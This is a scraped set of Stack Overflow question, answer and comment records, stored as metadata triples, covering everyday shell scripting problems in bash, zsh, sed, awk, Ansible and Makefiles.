the previous "user agent" to match the current "user agent" Use a bash script in a pipeline build to change the user agent in the artifact loaded file. I am trying the following, but might need some help please. Script example echo '#Tue Aug 01 14:16:13 AEST 2023 D\:\\agent_work\\agent-2\\168\\s\\PRIE\\Programs\\IEW340P3.NSP=ec656d00d2e5e12ae1eb3aa9771af464\!\:\!null D\:\\agent_work\\agent-2\\168\\s\\PRUT\\Maps\\UTRESM06.NSM=eb0e29846516c74be5763a8cd9ab22d8\!\:\!null D\:\\agent_work\\agent-2\\168\\s\\PRMR\\Maps\\MRJ400M1.NSM=c4b10568d2dd5f…

http://stackoverflow.com/comment/135357899
type: Comment
has text: this is written in it export JAVA_HOME="$(jrunscript -e 'java.lang.System.out.println(java.lang.System.getProperty("java.home"));')"
comment on: http://stackoverflow.com/q/76779055
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135261222
score: 0
comment on: http://stackoverflow.com/q/76721494
type: QuestionComment
type: Comment
has text: What does `python -m kedro info` give? Have you tried venv/bin/kedro? Documentation is here: https://docs.kedro.org/en/stable/development/commands_reference.html#invoke-kedro-cli-from-python-optional

http://stackoverflow.com/comment/135500971
type: Comment
score: 0
has text: @user1934428 - already tried that. See above.
comment on: http://stackoverflow.com/q/76855842
type: QuestionComment

http://stackoverflow.com/q/76775292
favorite count: 0
downvote count: 1
tagged with: sed
tagged with: bash
has answer: http://stackoverflow.com/a/76775362
has answer: http://stackoverflow.com/a/76776657
has comment: http://stackoverflow.com/comment/135351404
has comment: http://stackoverflow.com/comment/135351410
score: 0
answer count: 2
type: Question
tagged with: shell
has body: I have a file directory structure as follows: src \ SortGreater \ SortGreater.java SortGreater.class SortLess \ SortLess.java SortLess.class I intend to write a Linux command that outputs the fully qualified name of each class in a "src" directory (given that I am running the command in the "src" directory). For example, the command should output "SortGreater.SortGreater" and "SortLess.SortLess" here. My first attempt at this was the command find -type f -name "*.java" -exec readlink -f {} \; but this proved to be wrong as it output /path/to/directory/src/SortGreater/SortGreater.java and /path/to/directory/src/SortLess/SortLess.java Any suggestions?
tagged with: linux
has title: Linux Command to get fully qualified name of each class in directory
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/comment/135344470
comment on: http://stackoverflow.com/q/76771421
type: QuestionComment
score: 1
type: Comment
has text: Use single quotes. `echo 'cat "$1"'` -- when you use double quotes teh `$1` gets replaced.

http://stackoverflow.com/comment/135261379
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76721404
has text: @PaulHodges, ...we no longer work together, but I was impressed enough with Ed's awk knowledge (and war stories from interacting with the Bell Labs crew) that I hired him once. :)

http://stackoverflow.com/comment/135529038
has text: I suspect the OP might just need `awk -F'"' '{print $2; exit}'` or MAYBE `awk -F'"' '/java version/{print $2; exit}'` instead of `awk -F'java version' '{print $2}' | xargs`.
comment on: http://stackoverflow.com/a/76878154
type: Comment
type: AnswerComment
score: 3

http://stackoverflow.com/comment/135463899
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76839623
has text: `convert --version Version: ImageMagick 7.1.1-13 Q16-HDRI aarch64 21276 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI Modules OpenMP(5.0) Delegates (built-in): bzlib fontconfig freetype gslib heic jng jp2 jpeg jxl lcms lqr ltdl lzma openexr png ps raw tiff webp xml zlib Compiler: gcc (4.2) `

http://stackoverflow.com/comment/135273978
score: 0
comment on: http://stackoverflow.com/a/76724087
has text: it was solved using the following script Scripts\\kedro in the venv folder. thank u!
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76823317
type: AcceptedAnswer
has body: I like Redis for this - it is lightweight, and fast and accessible from any language (Python, bash, Perl, PHP, C/C++, Ruby) and across the network. It supports strings, sets, sorted sets, lists, queues, hashes, atomic integers and so on: # Set variable to 10 redis-cli set fred 10 OK # Retrieve variable redis-cli get fred "10"
accepted answer of: http://stackoverflow.com/q/76823093
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135434648
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/135442981
answers question: http://stackoverflow.com/q/76823093

http://stackoverflow.com/comment/135327548
comment on: http://stackoverflow.com/q/76761336
type: QuestionComment
type: Comment
has text: i would expect `mkdir` to have additional `-p` flag
score: 0

http://stackoverflow.com/comment/135786889
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76817121
has text: Did my answer work for you?
type: QuestionComment

http://stackoverflow.com/comment/135377674
comment on: http://stackoverflow.com/q/76789602
score: 0
has text: Please provide enough code so others can better understand or reproduce the problem.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76817420
has comment: http://stackoverflow.com/comment/135424353
has comment: http://stackoverflow.com/comment/135424317
answers question: http://stackoverflow.com/q/76817121
has comment: http://stackoverflow.com/comment/135424425
has comment: http://stackoverflow.com/comment/135424575
has body: You need to do non-greedy matching, to get the shortest match for named ... apples. UPDATE Unfortunately, sed does not support non-greedy match. One alternative is to use perl instead of sed: perl -p -i -e "s/named.*?apples/named $new_text1 apples/g" "$file"
upvote count: 2
has comment: http://stackoverflow.com/comment/135424170
score: 1
type: Answer
downvote count: 1

http://stackoverflow.com/comment/135378067
type: Comment
comment on: http://stackoverflow.com/q/76790806
score: 0
has text: Can you show your import statements? Also are you returning names or anything from the classes?
type: QuestionComment

http://stackoverflow.com/q/76870158
has answer: http://stackoverflow.com/a/77929242
has title: ansible-lint risky-shell-pipe asks for pipefail option but it doesn't work
score: 2
has comment: http://stackoverflow.com/comment/137385623
upvote count: 2
downvote count: 0
tagged with: ansible
linked to: http://stackoverflow.com/q/41516177
has body: The ansible-lint documentation suggests code like: ansible.builtin.shell: | set -o pipefail # &lt;-- adding this will prevent surprises false | cat Unfortunately this gives me an error: /bin/sh: 1: set: Illegal option -o pipefail and it appears that the pipefail option is not available in dash (the default /bin/sh in Ubuntu 22.04). Any advice?
answer count: 1
favorite count: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135515814
type: UnansweredQuestion

http://stackoverflow.com/q/76761977
tagged with: package.json
tagged with: reactjs
has body: I want to create a custom script in my package.json that will perform the following actions: git init and git add . prompt the user for a commit message from the terminal, if the user enters an input, that input will be used as a commit message and the commit will be executed. If the user presses enter, the a default commit message will be used to execute the commit pull from the remote origin after committing then start the server. The essence is to automate a process of pulling changes regularly from the remote before making new changes when working in development mode
has answer: http://stackoverflow.com/a/76800955
tagged with: react-scripts
tagged with: git
has title: Create custom script in package.json that commits and pulls before starting server NextJS
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/135348259
type: QuestionComment
comment on: http://stackoverflow.com/q/76772789
type: Comment
has text: Why are you providing your own `_realloc()` function when the standard library already provides a `realloc()` that does substantially the same thing, but can be expected to be better tuned, and which you can reasonably assume to be bug-free?
score: 0

http://stackoverflow.com/a/76855885
answers question: http://stackoverflow.com/q/76855842
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135501304
downvote count: 0
type: Answer
has body: Seems that the issue you are facing is related to the fact that the sed command on macOS is different from the sed command on Linux. The -i option on macOS requires an extension argument for backup files, while on Linux it does not. This means that when using the -i option on macOS, you need to provide an extension for your backups, like this: sed -i'.original' -e 's/old_link/new_link/g' *. This will create backup files with the .original extension. If you want to avoid creating backup files, you can try using another command to achieve the same result. e.g. use perl : perl -i -pe's/old_link/new_link/g' .

http://stackoverflow.com/q/76770023
has body: String to floating comparison not working in shell script REQUIRED_VERSION=2.38.0 VERSION=$(echo $FULL_DATA | cut -d &quot;:&quot; -f 5) #This gives values as 2.10.0 OR 2.40 if [ $VERSION -gt $REQUIRED_VERSION ]] then echo &quot;=== PASSED ==== &quot; else echo &quot;=== FAILED ===&quot; #exit 1 fi Getting error as below with zsh test.sh:60: bad floating point constant It always gives results as passed with sh I also tried bc but won't work, maybe missing syntax not sure about it. Please suggest some way to typecast from string to float which I can compare further with shell or zsh
has comment: http://stackoverflow.com/comment/135343699
has comment: http://stackoverflow.com/comment/135342388
has comment: http://stackoverflow.com/comment/135342471
has answer: http://stackoverflow.com/a/76775004
linked to: http://stackoverflow.com/q/28310594
has title: String to float comparison not working in shell script
has answer: http://stackoverflow.com/a/76771154
tagged with: floating-point
linked to: http://stackoverflow.com/q/4023830
has comment: http://stackoverflow.com/comment/135344987
linked to: http://stackoverflow.com/q/27555060
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135342615
has answer: http://stackoverflow.com/a/76771863
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135342639
has comment: http://stackoverflow.com/comment/135342583
has answer: http://stackoverflow.com/a/76771093
tagged with: string
tagged with: zsh
possible better answer: http://stackoverflow.com/a/76771093
accepted answer: http://stackoverflow.com/a/76771154
has comment: http://stackoverflow.com/comment/135344308
score: 0
answer count: 4
has comment: http://stackoverflow.com/comment/135342550
tagged with: shell

http://stackoverflow.com/comment/135371105
has text: amanin, how to do this? I do not know what this system service is and how to integrate logging?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76786021

http://stackoverflow.com/q/76855607
has comment: http://stackoverflow.com/comment/135499633
has comment: http://stackoverflow.com/comment/135520509
has comment: http://stackoverflow.com/comment/135492928
has comment: http://stackoverflow.com/comment/135499936
tagged with: bash
has comment: http://stackoverflow.com/comment/135517204
has comment: http://stackoverflow.com/comment/135533924
has comment: http://stackoverflow.com/comment/135490938
has comment: http://stackoverflow.com/comment/135493076
has comment: http://stackoverflow.com/comment/135490732
has comment: http://stackoverflow.com/comment/135491138
has title: "make" command errors out when run from shell script but executes when run directly on cmd prompt
has comment: http://stackoverflow.com/comment/135498222
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135533438
answer count: 0
tagged with: shell
has body: Here is my script on Ubuntu - #!/bin/bash cd path/to/directory /usr/bin/perl Makefile.PL /usr/bin/make It errors out with - Checking if your kit is complete... Looks good Warning: prerequisite B::COW 0.004 not found. Generating a Unix-style Makefile Writing Makefile for Clone Writing MYMETA.yml and MYMETA.json make: chmod: Command not found Makefile:397: recipe for target 'blib/lib/.exists' failed make: *** [blib/lib/.exists] Error 127 The Makefile.PL is present in Clone-0.45 directory after downloading the file from https://cpan.metacpan.org/authors/id/A/AT/ATOOMIC/Clone-0.45.tar.gz and extracting it. Contents of the Makefile.PL - use ExtUtils::MakeMaker; WriteMakefile( 'NAME' =&gt; 'Clone', 'AUTHOR' =&gt; 'Ray Finch &lt;rdf@cpan.org&gt;', 'VERSION_FROM' =&gt; 'Clone.pm', 'ABSTRACT_FROM' =&gt; 'Clone.pm', 'LICENSE' =&gt; 'perl', 'PL_FILES' =&gt; {}, 'TEST_REQUIRES' =&gt; { 'Test::More' =&gt; 0, 'B::COW' =&gt; '0.004', }, 'LIBS' =&gt; [''], # e.g., '-lm' 'DEFINE' =&gt; '', # e.g., '-DHAVE_SOMETHING' 'INC' =&gt; '', # e.g., '-I/usr/include/other' # 'OPTIMIZE' =&gt; '-g', # e.g., '-I/usr/include/other' 'OPTIMIZE' =&gt; '-O3', # e.g., '-I/usr/include/other' clean =&gt; { FILES =&gt; '_Inline' }, META_MERGE =&gt; { resources =&gt; { license =&gt; 'http://dev.perl.org/licenses/', bugtracker =&gt; 'https://github.com/garu/Clone/issues', repository =&gt; 'http://github.com/garu/Clone', }, }, ); At the top you can see how i am running the command from the script. When I run it directly from the cmd prompt, this is the output i get - # perl Makefile.PL Checking if your kit is complete... Looks good Warning: prerequisite B::COW 0.004 not found. Generating a Unix-style Makefile Writing Makefile for Clone Writing MYMETA.yml and MYMETA.json
tagged with: makefile
tagged with: ubuntu
type: UnansweredQuestion

http://stackoverflow.com/a/76774857
upvote count: 2
has comment: http://stackoverflow.com/comment/135360474
accepted answer of: http://stackoverflow.com/q/76774173
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/76774173
has comment: http://stackoverflow.com/comment/135360490
has comment: http://stackoverflow.com/comment/135353321
has body: If a non-sed answer is OK, here's perl that splits the line on = and tests the first part for inequality (avoiding regex) pattern='test.pwd' perl -F= -slane 'print if $F[0] ne $patt' -- -patt="$pattern" test.txt If the output looks like what you want, add -i: perl -i -F= ...
type: AcceptedAnswer
score: 2

http://stackoverflow.com/comment/135254678
type: Comment
comment on: http://stackoverflow.com/q/76718065
has text: You should use the `xml` parser for this. See e.g.: [Powershell regex for replacing text between two strings](https://stackoverflow.com/a/65360515/1701026). Please add a `pom.xml` example *to the question* so that this can be answered more specific.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135354519
comment on: http://stackoverflow.com/q/76776995
has text: You need to read a tutorial on shell scripting. You don't even know the basics like how to use variables. You have to put a `$` before the variable name: `"es-data2023$num"`
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76772024
type: UnansweredQuestion
score: 1
favorite count: 0
tagged with: scripting
has title: How to convert a string to an array by splitting at newline but only on non-empty strings in ZSH?
has body: I have a little bit of a problem. I am trying to convert a string to an array in a zsh script and it works but it seems to also convert empty strings into an array with 1 empty string in it. The code looks like this: #!/bin/zsh CurrentHour=$(date +%H) CurrentMinute=$(date +%M) CurrentDate=$(date +%F) MeetingTitles=("${(@f)$(icalbuddy -ic Family -nc -iep title eventsFrom:"$CurrentDate $CurrentHour:00:00 +01:00" to:"$CurrentDate $CurrentHour:59:59 +01:00" | cut -c 5-)}") MeetingHour=("${(@f)$(icalbuddy -ic Family -nc -tf %H -iep datetime eventsFrom:"$CurrentDate $CurrentHour:00:00 +01:00" to:"$CurrentDate $CurrentHour:59:59 +01:00" | cut -c 14-15)}") MeetingMin=("${(@f)$(icalbuddy -ic Family -nc -tf %M -iep datetime eventsFrom:"$CurrentDate $CurrentHour:00:00 +01:00" to:"$CurrentDate $CurrentHour:59:59 +01:00" | cut -c 14-15)}") echo ${#MeetingTitles[@]} if [ ${#MeetingTitles[@]} = 0 ]; then say "Hey Alexander, you have no calendar events in the next hour." -a 106; else say "Hey Alexander, just a reminder that you have the following calendar events in the next hour" -a 106 for ((i = 1; i <= $#MeetingTitles; i++)); do say "At "$MeetingHour[i] $MeetingMin[i]" you have an event titled "$MeetingTitles[i] -a 106; done fi echo ${#MeetingTitles[@]} As can be seen I am using the ("${(@f)$(your_command)}") method to convert the string returned by icalbuddy into an array so I can clean it up and use it to announce the events using the say command in MacOS. The problem is the if statement is never true because this method of creating the array seems to make an array even if the string is empty so when I count the array it is always at least 1. I need to figure out a way of setting the $MeetingTitles string to an array only if it is not empty but I can't seem to find any documentation on this. The two echo statements are just for debugging the array count - both return 1 but any attempt to print it yields and empty string. I am a bit rusty with shell scripting so there may be som…
tagged with: zsh
has answer: http://stackoverflow.com/a/76772518
type: Question
downvote count: 0
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/76772706
tagged with: arrays
has answer: http://stackoverflow.com/a/76772660
tagged with: macos
tagged with: shell

http://stackoverflow.com/comment/135414340
score: 0
has text: test.csv is just an example here. The main question here is - How to read data from a csv file in shell where value of a particular cell has multi line data. The multi line data needs to saved as a single value.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76810435

http://stackoverflow.com/comment/135357831
has text: maybe check your `.bashrc` for some command that tries to use Nashorn?
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76779055

http://stackoverflow.com/comment/135416664
type: QuestionComment
type: Comment
has text: @Shawn Based on your comment, it seems your solution is suitable for a lot of concurrent users accessing DB, But in my case just two concurrent scripts use DB, Do you think using WAL mode is a good idea?
score: 0
comment on: http://stackoverflow.com/q/76805840

http://stackoverflow.com/comment/135482995
has text: @Fravadona: BTW, look at the answer by Ljm Dullaart. He claims that `cd ''` is equivalent to just `cd`, and indeed **this is true for bash**. I mistakingly made my experiment with zsh, and with zsh, it behaves like **you** said, i.e. staying in the same directory. Using bash 5.2.15 and zsh 5.8.1 for my experiments.
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76850146

http://stackoverflow.com/comment/135263578
comment on: http://stackoverflow.com/a/76720707
type: Comment
type: AnswerComment
score: 0
has text: Apologies for the confusion. As I started to implement the above solution, I stumbled upon this problem. To clarify, there would be only one intermediate subdirectory (always). So, it would be just base_dir/random_dir1/sub_dir1 and I want to surpass **random_dir1** everytime there is a search for **sub_dir1**

http://stackoverflow.com/q/76771254
type: UnansweredQuestion
upvote count: 1
answer count: 1
linked to: http://stackoverflow.com/q/39527571
favorite count: 0
score: 0
duplicate of: http://stackoverflow.com/q/39527571
tagged with: linux
type: Question
has comment: http://stackoverflow.com/comment/135345083
has comment: http://stackoverflow.com/comment/135345101
downvote count: 1
has answer: http://stackoverflow.com/a/76771280
has title: Shell file can not be found
has body: I am running a shell script in a Linux environment, and the program reported a problem like this: root@autodl-container-bdbc119a52-a66f19d9:~/autodl-tmp/2021-ACL-LaSAML# sh our.sh : not foundour.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: : not found our.sh: our.sh: 289: our.sh: Syntax error: end of file unexpected (expecting "then") Can you help me solve this problem? I am very grateful to you.
tagged with: shell

http://stackoverflow.com/a/76850254
answers question: http://stackoverflow.com/q/76845626
score: 0
has body: You can NOT use any 3rd party libraries/tools like for example, GNU Parallel Are you aware, that you can export GNU Parallel using parallel --embed? This way you do not need to install GNU Parallel on the target system: It will not be treated as a 3rd party tool, but be part of your shell script. If that is acceptable, you can use parset. On the development system do: parallel --embed > myscript.sh Append to myscript.sh: child1() { childvar1=value1 echo "$childvar1"; } child2() { childvar2=value2 echo "$childvar2"; } export -f child1 child2 parset var1,var2 ::: child1 child2 # Or if you prefer scripts over functions: parset var1,var2 ::: child1.sh child2.sh echo "$var1" echo "$var2" Now move it to the system without GNU Parallel.
type: Answer

http://stackoverflow.com/q/76854223
score: 0
tagged with: shell
has answer: http://stackoverflow.com/a/76928712
has comment: http://stackoverflow.com/comment/135489563
has comment: http://stackoverflow.com/comment/135614897
answer count: 1
tagged with: ansible-2.x
has comment: http://stackoverflow.com/comment/135489798
has body: I have executed a command such as "df -h" on a machine using shell module as an ansible task. (using ansible version 2.14) For one of the filesystem, the mount point is lengthy. So,the complete output of the corresponding line is not displayed. I noticed that the output is truncated after 79 characters. When the command "df -h" is executed manually on the same machine (after logging into via SSH), The output is displayed completely. So, my question here is, is there any way to increase the line length limit so that the complete output is displayed in the ansible task output ?
type: Question
tagged with: ansible
type: UnansweredQuestion
has title: How to increase the line length in ansible console output when using shell module?

http://stackoverflow.com/comment/135404995
score: 1
type: QuestionComment
type: Comment
has text: _Personally_, I'd use an associative array mapping extensions to directory names; no need for a case statement at all that way.
comment on: http://stackoverflow.com/q/76806494

http://stackoverflow.com/a/76753712
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/135352447
has body: Looks below code works # test-template.yml parameters: - name: jobName type: string jobs: - job: ${{ parameters.jobName }} steps: - task: UsePythonVersion@0 displayName: ${{ parameters.jobName }} inputs: versionSpec: some_python_version script: | if [ "${{ parameters.jobName }}" = "Pytest1" ]; then pytest -v tests -k "pretest_case1" elif [ "${{ parameters.jobName }}" = "Pytest2" ]; then pytest -v tests -k "postTest_case2" else # Handle any other jobName value or add an error message if needed. echo "Invalid jobName: ${{ parameters.jobName }}" exit 1 fi # Main.yaml trigger: - main stages: - stage: test_int1 pool: vmImage: 'ubuntu' jobs: - template: test-template.yml parameters: jobName: 'Pytest1' - stage: test_int2 pool: vmImage: 'ubuntu' jobs: - template: test-template.yml parameters: jobName: 'Pytest2'
answers question: http://stackoverflow.com/q/76753350

http://stackoverflow.com/comment/135300414
comment on: http://stackoverflow.com/q/76744886
score: 2
has text: there's no good reason to redirect stderr here. It only serves to hide problems.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/76820522
accepted answer of: http://stackoverflow.com/q/76805840
type: AcceptedAnswer
upvote count: 1
has body: Thanks to @user4157124 Sqlite3 command must edit as below: result=$(sqlite3 -cmd ".timeout 20000" sample.db "SELECT count(*) FROM table WHERE value='sample';") It prevents Database is locked Error and the result varibale doesn't combine with the timeout value.
answers question: http://stackoverflow.com/q/76805840
score: 1
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135299696
score: 0
comment on: http://stackoverflow.com/q/76744886
has text: Please take a look at [How do I format my posts using Markdown or HTML?](https://stackoverflow.com/help/formatting).
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76735489
has answer: http://stackoverflow.com/a/76735562
has body: At the moment, I am developing my shell on Rust, and so I have completed the most important functionality, but I had the biggest problem how to apply it at the system level, for example, to derive a list of available shells, I need to write $ chsh -l How can I add my shell to this list?
accepted answer: http://stackoverflow.com/a/76735562
has comment: http://stackoverflow.com/comment/135284022
upvote count: 1
answer count: 1
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has title: how to apply your own shell in the system
has comment: http://stackoverflow.com/comment/135283995
has comment: http://stackoverflow.com/comment/135284029
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/comment/135349788
score: 0
comment on: http://stackoverflow.com/q/76774173
has text: You shouldn't have `s` at the beginning. That's for replacing a string inside the line, `s/old/new/`. You should be getting an error from your code.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76789602
has comment: http://stackoverflow.com/comment/135376653
type: UnansweredQuestion
has body: I have a variable which is number=$(shell seq 1 50). I need this sequence but avoiding the last element in a particular loop. How can I do it? Because the only working solution is introducig it manually but that is not what I am looking for. I tried several options but none seems to work and I would like to have it automatised instead for the case that the limist where to be changed.
has answer: http://stackoverflow.com/a/76802388
has comment: http://stackoverflow.com/comment/135398716
score: 0
answer count: 2
tagged with: shell
tagged with: makefile
has answer: http://stackoverflow.com/a/76792001
has comment: http://stackoverflow.com/comment/135376012
has comment: http://stackoverflow.com/comment/135376200
has title: Makefile variables
has comment: http://stackoverflow.com/comment/135377674
tagged with: bash
type: Question

ui-automation
tag name: ui-automation
type: Tag
tags question: http://stackoverflow.com/q/76792437

http://stackoverflow.com/comment/135439966
comment on: http://stackoverflow.com/q/76825948
type: Comment
has text: You need to show us more of the script before that error line, especially how and where you assign to limit.
score: 0
type: QuestionComment

http://stackoverflow.com/q/76840291
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/76840667
has comment: http://stackoverflow.com/comment/135479645
tagged with: zsh
has body: How to understand the different output between file2 and file3? (base) ➜ Youtube cat 1.sh base="/VS/Harry Potter - Hedwig's Theme (Harmonica Ver.) [w2kuM-Rp_IY].info.json" echo "base: $base"; dir=$(dirname "$base"); filename=$(basename "$base"); file=${${filename%.*}%.*}; file2=${${"$(basename $filename)"%.*}%.*}; file3=${${$(basename $filename)%.*}%.*}; echo "file: $dir/$file"; echo "file2: $dir/$file2"; echo "file3: $dir/$file3"; (base) ➜ Youtube zsh 1.sh base: /VS/Harry Potter - Hedwig's Theme (Harmonica Ver.) [w2kuM-Rp_IY].info.json file: /VS/Harry Potter - Hedwig's Theme (Harmonica Ver.) [w2kuM-Rp_IY] file2: /VS/Harry Potter - Hedwig's Theme (Harmonica Ver.) [w2kuM-Rp_IY] file3: /VS/Harry Potter - Hedwig's Theme (Harmonica Ver [w2kuM-Rp_IY] It seems basename command returns a serval part split by space and ${var%.*} command works on each part.
type: Question
has answer: http://stackoverflow.com/a/76840667
tagged with: shell
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/76840641
answer count: 2
has title: zsh basename and ${var%.*}
downvote count: 0
has answer: http://stackoverflow.com/a/76840641
score: 1

http://stackoverflow.com/comment/135374778
score: 0
has text: @larsks are you saying then i need to source the .bashrc or .profile in order to actually run a command as that user ... for example ... db2level as the db2icm1 id
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76788743

http://stackoverflow.com/a/76846238
answers question: http://stackoverflow.com/q/76845788
has comment: http://stackoverflow.com/comment/135474486
has body: I would use &quot;$@&quot; instead of cramming everything into $2: install_package () { if ! &quot;$@&quot;; then exit $?; fi } Call it with any number of arguments. See your shell manual for the effect of quoting $@. Basically it keeps positional parameters $1...$n from being word-split.
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135347130
type: QuestionComment
has text: Try printing a different error message before each `exit(EXIT_FAILURE);`. Then you'll know where the problem is, and you can debug that.
type: Comment
comment on: http://stackoverflow.com/q/76772789
score: 1

http://stackoverflow.com/a/76840112
score: 1
answers question: http://stackoverflow.com/q/76816367
downvote count: 0
upvote count: 1
type: Answer
has body: With no solution in sight I upgraded to PVE 8.0.3, and no more error 25. The upgrade did initially fail to install the kernel Error! The /var/lib/dkms/aufs/4.19+20190211/6.2.16-5-pve/x86_64/dkms.conf for module aufs includes a BUILD_EXCLUSIVE directive which does not match this kernel/arch/config., I had to dkms remove aufs/4.19+20190211, and after that all was well. I still don't know root cause, but upgrading from PVE 7 to 8 resolved the issue.

http://stackoverflow.com/comment/135283267
score: 0
comment on: http://stackoverflow.com/q/76734936
type: QuestionComment
type: Comment
has text: You probably messed up the `PATH` environment variable or `path` array.

http://stackoverflow.com/q/76831000
duplicate of: http://stackoverflow.com/q/43001805
score: 0
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135448334
has comment: http://stackoverflow.com/comment/135448331
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135448318
has comment: http://stackoverflow.com/comment/135448337
has comment: http://stackoverflow.com/comment/135448325
has comment: http://stackoverflow.com/comment/135449835
has body: Consider this little bash script: #!/bin/bash cmd="ls -rtl $1" $cmd eval $cmd It prints the directory listing with some option set (just to make it different from a simple ls), twice. Both of the last two lines do the same thing, apparently. Is there some case, that I am not considering? Why bother writing eval in front of the cmd?
has title: How is $cmd different from eval $cmd?
tagged with: bash
has comment: http://stackoverflow.com/comment/135452956
has comment: http://stackoverflow.com/comment/135448351
linked to: http://stackoverflow.com/q/43001805
linked to: http://stackoverflow.com/q/13365553
has comment: http://stackoverflow.com/comment/135448317

http://stackoverflow.com/comment/135295019
has text: #:~> awk -v m=$mountpoint '{if ($2 == m) print $3}' /etc/fstab ext4 #:~> awk -v m=$mountpoint '$2 == m { print $3 }' /etc/fstab ext4 Thanks ..
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76740127

http://stackoverflow.com/comment/135347337
comment on: http://stackoverflow.com/q/76770292
score: 0
has text: Please [edit] your question and add all requested information to the question instead of using comments for this purpose.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76790806
tagged with: shell
type: UnansweredQuestion
has title: ImportError: cannot import name 'Ingredient' from 'inventory.models' (C:\Users\mcarl\OneDrive\Desktop\VirtualEnvs\djangodelights\inventory\models.py)
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/135378067
has comment: http://stackoverflow.com/comment/135378231
tagged with: django-models
tagged with: python
has body: So I am at a point in my project where I need to create instances of my models inside of the python shell. The problem is when I go to import my Ingredient model (which I've checked probably a hundred times now to find out if it was correct), I get this message - ImportError: cannot import name 'Ingredient' from 'inventory.models' (C:\Users\mcarl\OneDrive\Desktop\VirtualEnvs\djangodelights\inventory\models.py) The file structure is correct and everything.. How are they saying there is no Ingredient when there is a model called Ingredient inside the file..? Any idea how to fix.? Thanks My models.py file: from django.db import models import datetime class Ingredient(models.Model): name = models.CharField(max_length=100) available_quantity = models.DecimalField(max_digits=10, decimal_places=2) price_per_unit = models.DecimalField(max_digits=10, decimal_place=2) class MenuItem(models.Model): name = models.CharField(max_length=100) price = models.DecimalField(max_digits=10, decimal_places=2) class RecipeRequirement(models.Model): menu_item = models.ForeignKey(MenuItem, on_delete=models.CASCADE) ingredient = models.ForeignKey(Ingredient, on_delete=models.CASCADE) quantity_required = models.DecimalField(max_digits=10, decimal_places=2) class Purchase(models.Model): menu_item = models.ForeignKey(MenuItem, on_delete=models.CASCADE) purchase_date = models.DateTimeField(auto_now_add=True) quantity_purchased = models.DecimalField(max_digits=10, decimal_places=2) total_cost = models.DecimalField(max_digits=10, decimal_place=2) File structure, fixing typos, clearing python cache..
tagged with: django
score: 0

http://stackoverflow.com/q/76854505
accepted answer: http://stackoverflow.com/a/76854529
type: Question
tagged with: jsonpath
score: 0
tagged with: shell
has title: how to define if one of kubernetes pods is not ready, using jsonpath and shell scripts?
tagged with: kubernetes
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76854529
has body: I have a script with command that is sleeping if pods with specific labels is not ready. But it does not work if there are a few pods (in this way it need to be like condition != "true true true"). How can I check, if one of any pods is not ready (ready = false)? while [ "$(kubectl get pods -l=app.kubernetes.io/instance=loki -n grafana -o jsonpath='{.items[*].status.containerStatuses[0].ready}')" != "true" ]; do sleep 5 echo "Waiting for Loki to be ready." done

http://stackoverflow.com/comment/135499936
type: Comment
has text: So it is, @Barmar. But something very strange is going on here, and I am much inclined to think that the OP has either omitted relevant information (in addition to the generated Makefile) or presented incorrect information, or both.
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment

http://stackoverflow.com/comment/135418662
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76813452
score: 0
has text: Ah ha! Your 2nd last comment did the trick: I replaced `$HOST` by `$(hostname)` and voila! Thanks a bunch @CharlesDuffy for all your very insightful feedback!

http://stackoverflow.com/a/76857548
has comment: http://stackoverflow.com/comment/135493897
has body: UPDATE Here's a possible solution in the form of date; find -exec awk | xargs gzip: two_days_ago=$(date -d '2 days ago' +%Y%m%d) find . -name 'ABCADD*-20[0-9][0-9][0-9][0-9][0-9][0-9]' \ -exec awk -v max="$two_days_ago" ' BEGIN { for ( i = 1; i < ARGC; i++ ) { n = split(ARGV[i], a, "-"); if ( a[n] <= max) printf("%s%c", ARGV[i], 0); } exit; } ' {} + | xargs -0 gzip
type: Answer
